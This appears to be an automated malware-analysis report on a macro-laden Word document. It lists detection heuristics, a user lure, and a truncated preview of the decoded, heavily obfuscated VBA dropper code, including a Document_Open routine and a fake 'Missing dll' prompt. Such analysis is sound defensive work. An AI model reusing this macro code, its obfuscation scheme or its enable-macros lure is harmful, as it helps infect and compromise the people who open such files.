Malware Insights
The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute upon opening. Heuristics indicate the use of CreateObject and GetObject, common for launching malicious processes. The document body and script contain a lure instructing the user to enable macros, a typical social engineering tactic. The VBA script appears to be heavily obfuscated, but its intent is to download and execute a secondary payload, as suggested by the CreateObject and GetObject calls and the general nature of such macro-laden documents.
Heuristics 9
-
ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 151708 bytes |
SHA-256: 403f9dec5d0dd6e1a3e82b3d4ff782db0a327799315fa1b21032cb15a991da18 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 170 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Attribute VB_Control = "CommandButton1, 1, 1, MSForms, CommandButton"
Option Explicit
Private Sub CommandButton1_Click()
MsgBox (" ******* Missing dll ******* " & vbCrLf & "Restart Your PC to Complete the Process")
End Sub
Sub Document_Open()
On Error Resume Next
Dim YajA, RAJL, SfDY As String
YajA = UTjI(Vbwe)
RAJL = UTjI(oqrn)
SfDY = UTjI(UIlH)
Dim PjNp As String
PjNp = cJvL(VtLu(54, 101))
PjNp = dATr(PjNp, cJvL(VtLu(7, 100)))
PjNp = dATr(PjNp, cJvL(VtLu(202, 184)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(9, 121)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(167, 201)))
PjNp = dATr(PjNp, cJvL(VtLu(247, 144)))
PjNp = dATr(PjNp, cJvL(VtLu(186, 148)))
PjNp = dATr(PjNp, cJvL(VtLu(125, 59)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(72, 36)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(54, 101)))
PjNp = dATr(PjNp, cJvL(VtLu(116, 13)))
PjNp = dATr(PjNp, cJvL(VtLu(230, 149)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(235, 134)))
PjNp = dATr(PjNp, cJvL(VtLu(201, 134)))
PjNp = dATr(PjNp, cJvL(VtLu(65, 35)))
PjNp = dATr(PjNp, cJvL(VtLu(213, 191)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(7, 100)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))
Dim jDHQ As String
jDHQ = YajA
Dim RqIm As String
RqIm = ""
RqIm = dATr(RqIm, cJvL(VtLu(228, 167)))
RqIm = dATr(RqIm, cJvL(VtLu(142, 180)))
RqIm = dATr(RqIm, "\")
RqIm = dATr(RqIm, cJvL(VtLu(112, 32)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(164, 203)))
RqIm = dATr(RqIm, cJvL(VtLu(247, 144)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, cJvL(VtLu(235, 134)))
RqIm = dATr(RqIm, cJvL(VtLu(107, 47)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, cJvL(VtLu(255, 139)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, "\")
RqIm = dATr(RqIm, cJvL(VtLu(116, 35)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(92, 56)))
RqIm = dATr(RqIm, cJvL(VtLu(164, 203)))
RqIm = dATr(RqIm, cJvL(VtLu(182, 193)))
RqIm = dATr(RqIm, cJvL(VtLu(230, 149)))
RqIm = dATr(RqIm, cJvL(VtLu(107, 47)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(216, 190)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(92, 56)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(54, 101)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(122, 12)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(7, 100)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(186, 148)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
Module1.bUkw RqIm, jDHQ, PjNp
Dim TvdG As String
TvdG = ""
TvdG = dATr(TvdG, cJvL(VtLu(228, 167)))
TvdG = dATr(TvdG, cJvL(VtLu(142, 180)))
TvdG = dATr(TvdG, "\")
TvdG = dATr(TvdG, cJvL(VtLu(112, 32)))
TvdG = dATr(TvdG, cJvL(VtLu(202, 184)))
TvdG = dATr(TvdG, cJvL(VtLu(164, 203)))
TvdG = dATr(TvdG, cJvL(VtLu(247, 144)))
TvdG = dATr(TvdG, cJvL(VtLu(202, 184)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, cJvL(VtLu(235, 134)))
TvdG = dATr(TvdG, cJvL(VtLu(107, 47)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, cJvL(VtLu(255, 139)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, "\
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.